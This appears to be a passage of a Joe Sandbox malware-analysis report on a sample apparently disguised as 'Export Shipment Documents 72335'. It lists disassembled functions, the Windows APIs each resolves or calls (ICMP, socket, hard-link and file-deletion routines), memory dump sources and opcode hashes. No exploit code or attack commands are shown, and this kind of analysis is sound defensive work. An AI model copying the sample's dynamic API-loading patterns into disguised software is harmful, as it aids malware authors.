                                                                                                                                                                                                          Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                          • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                                                                                                                                          • API String ID: 2574300362-1816364905
                                                                                                                                                                                                          • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                                                          • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                                                                                                                                                          Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                          • String ID: ICMP.DLL$IcmpSendEcho
                                                                                                                                                                                                          • API String ID: 2574300362-58917771
                                                                                                                                                                                                          • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                                                          • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                                                                                                                                                          Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                          • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                                                                                                                                          • API String ID: 2574300362-3530519716
                                                                                                                                                                                                          • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                                                          • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                                                                                                                                                          Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                          • String ID: ICMP.DLL$IcmpCreateFile
                                                                                                                                                                                                          • API String ID: 2574300362-275556492
                                                                                                                                                                                                          • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                                                          • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                                                                                                                                                          • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                                                                                                                                                          Function 0040EE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryA.KERNEL32(kernel32.dll,0040E551,?), ref: 0040EE7B
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE8D
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                          • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                          • API String ID: 2574300362-3024904723
                                                                                                                                                                                                          • Opcode ID: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                                                                                                                          • Instruction ID: 75875fa2f3f8b89ed4c8cde0d061cde3839b728dd3838c322d7dfd2ddbff31fa
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 51D0C9B0940707DAC7301F72C91871B7AE4AB40342F204C3EB995A1290DBBCC0408B28
                                                                                                                                                                                                          Function 0040ACA0 Relevance: 6.4, APIs: 4, Instructions: 368COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ClearVariant
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1473721057-0
                                                                                                                                                                                                          • Opcode ID: c8a8680659340ce3ae7b61d15611f915275d61821cdaab737acf418eefb31e18
                                                                                                                                                                                                          • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c8a8680659340ce3ae7b61d15611f915275d61821cdaab737acf418eefb31e18
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                                                                                                                                                          Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __flush.LIBCMT ref: 00414630
                                                                                                                                                                                                          • __fileno.LIBCMT ref: 00414650
                                                                                                                                                                                                          • __locking.LIBCMT ref: 00414657
                                                                                                                                                                                                          • __flsbuf.LIBCMT ref: 00414682
                                                                                                                                                                                                            • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                                            • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3240763771-0
                                                                                                                                                                                                          • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                                                                          • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                                                                                                                                                          Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                                          • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                                          • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                                          • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CopyVariant$ErrorLast
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2286883814-0
                                                                                                                                                                                                          • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                                                                          • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                                                                                                                                                          Function 0047404B Relevance: 6.1, APIs: 4, Instructions: 133networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                                                                                                                                                                                                          • #21.WSOCK32 ref: 004740E0
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorLast$socket
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1881357543-0
                                                                                                                                                                                                          • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                                                                          • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                                                                                                                                                                                                          Function 00441CB4 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                                                          • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                                                          • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1352109105-0
                                                                                                                                                                                                          • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                                                          • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                                                                                                                                                          Function 0042384A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                                                                                                                                                          • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3058430110-0
                                                                                                                                                                                                          • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                                                          • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                                                                                                                                                          Function 0045D070 Relevance: 6.1, APIs: 4, Instructions: 100fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                                                                                                                                                                                                          • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                                                                                                                                                                                                          • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3321077145-0
                                                                                                                                                                                                          • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                                                                          • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                                                                                                                                                                                                          Function 0045058D Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetParent.USER32(?), ref: 004505BF
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Proc$Parent
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2351499541-0
                                                                                                                                                                                                          • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                                                                          • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                                                                                                                                                                                                          Function 004613E0 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
